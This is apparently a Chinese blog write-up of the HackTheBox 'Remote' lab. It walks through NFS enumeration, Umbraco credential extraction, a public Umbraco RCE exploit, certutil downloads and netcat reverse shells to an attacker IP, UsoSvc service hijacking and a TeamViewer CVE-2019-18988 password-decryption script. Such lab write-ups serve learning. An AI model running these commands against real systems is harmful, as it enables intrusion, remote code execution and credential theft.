htb remote复盘
FLow

写在前面

为了学windows渗透相关内容,昨天冲动了一把买了htb一个月的会员,为了不浪费这一百块钱,接下来要好好学!

先做的第一个就是remote靶机,全程看着wp做的,相比linux,很多东西都是陌生的,还是要多做多复盘才能熟悉这个体系,让知识深入我心。

主要参考文章

官方wp

https://cn-sec.com/archives/1330676.html

https://www.cnblogs.com/zongdeiqianxing/p/13568447.html

https://segmentfault.com/a/1190000041183119#item-1

靶机信息

地址:https://app.hackthebox.com/machines/Remote

难度:easy

ip:10.10.10.180

信息收集

1
nmap -A -p- --min-rate=1000 -T4 10.10.10.180

一个一个看,开了21端口,用anonymous登陆

没有什么可以利用的,切换到下一个端口

来到80端口,是个http服务,wappalyzer识别出是Umbraco的CMS

然后找到一个登陆点

发现需要email,扫目录也没扫出什么,再看看其他端口,2049端口有nfs服务,showmount看看有什么东西

showmount -e 是 NFS 命令的一部分,用于显示远程 NFS 服务器上共享的目录列表。

有个目录,把它给挂载出来

1
mount -t nfs 10.10.10.180:/site_backups ./nfs -o nolock

-t nfs: 指定要挂载的文件系统类型为 NFS。

-o nolock: 使用 nolock 选项表示禁用文件锁定机制。在某些情况下,NFS 文件系统可能会默认启用文件锁定,但是使用 nolock 选项可以禁用它。

官方给了个提示 这个链接说了UmbracoCMS的密码凭据存放处,是Umbraco.sdf,在App_Data文件夹里

1
strings Umbraco.sdf|grep admin@

找到了一串md5,用网站解密,解出来一串是密码

拿着账号密码登陆刚刚的登陆框

1
admin@htb.local:baconandcheese

成功登陆后看到这个CMS的版本是7.12.4,在网上能找到相关的RCE漏洞

poc:https://github.com/noraj/Umbraco-RCE.git

下载下来后尝试命令执行

是成功的,接下来反弹shell

1
python3 exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c  cmd.exe -a '/c certutil.exe -urlcache -split -f http://10.10.16.3/nc64.exe C:/Users/Public/nc.exe'

-urlcache: 这个参数告诉 certutil.exe 下载指定 URL 中的内容到本地。

下载一个nc到靶机,再调用,本地开启监听

1
python3 exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c cmd.exe -a '/c c:/users/public/nc.exe 10.10.16.3 4444 -e powershell'

成功拿到第一个shell

提权

方法一

上传辅助工具winPEASx64.exe

1
certutil.exe -urlcache -split -f http://10.10.16.3/winPEASany.exe a.exe

发现用户IIS对UsoSvc服务有开启关闭权限

1
sc.exe qc UsoSvc # 查询服务详细信息

思路是先停止这个服务,然后修改服务中的程序路径,再重启

1
2
3
1. sc.exe stop UsoSvc
2. sc.exe config UsoSvc binpath= "c:/users/public/nc.exe 10.10.16.3 3333 -e powershell"
3. sc.exe start UsoSvc

然后本地开启监听,就拿到system权限,这里有个问题是这个shell会很快就断开,可以拿到后再反弹一次

方法二

查找本机所有正在运行的进程以及它们所托管的服务,找到TeamViewer

1
tasklist /svc

有一个CVE-2019-18988,teamviewer将用户名密码硬编码至注册表中,加密算法是:AES-128-CBC

其中key的值:0602000000a400005253413100040000,iv的值:0100010067244F436E6762F25EA8D704 是固定的

1
reg query HKLM\SOFTWARE\Wow6432Node\TeamViewer\Version7

查看TeamViewer详细信息,找到SecurityPasswordAES的值FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B

用以下脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
def __init__(self, key):
self.key = key

def decrypt(self, iv, data):
self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
return self.cipher.decrypt(data)

key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B" # output from the registry

ciphertext = binascii.unhexlify(hex_str_cipher)

raw_un = AESCipher(key).decrypt(iv, ciphertext)

print(hexdump.hexdump(raw_un))

password = raw_un.decode('utf-16')
print(password)

解出密码:!R3m0te!

测试这个密码能否登陆

1
crackmapexec smb 10.10.10.180 -u administrator -p '!R3m0te!'

是可以的,然后就用Evil-WinRM登陆,提权成功

总结

涉及知识点:nfs挂载,poc利用,windows反弹shell,windows提权,TeamViewer提权。。。

整体思路:ftp找不到有用文件–>80端口http服务找到CMS和登陆框–>nfs服务发现文件夹,挂载出来–>找到admin的账号密码–>登陆CMS后发现相关版本–>找到公开漏洞poc进行RCE–>获得一个shell–>自动化提权工具找到UsoSvc提权/找到有Teamviewer服务用公开方法解密出脚本登陆adminitrator

总体思路应该算是简单的,思路不曲折,过程中接触到的东西几乎都是新的,所以写下来,以后就了解了。

由 Hexo 驱动 & 主题 Keep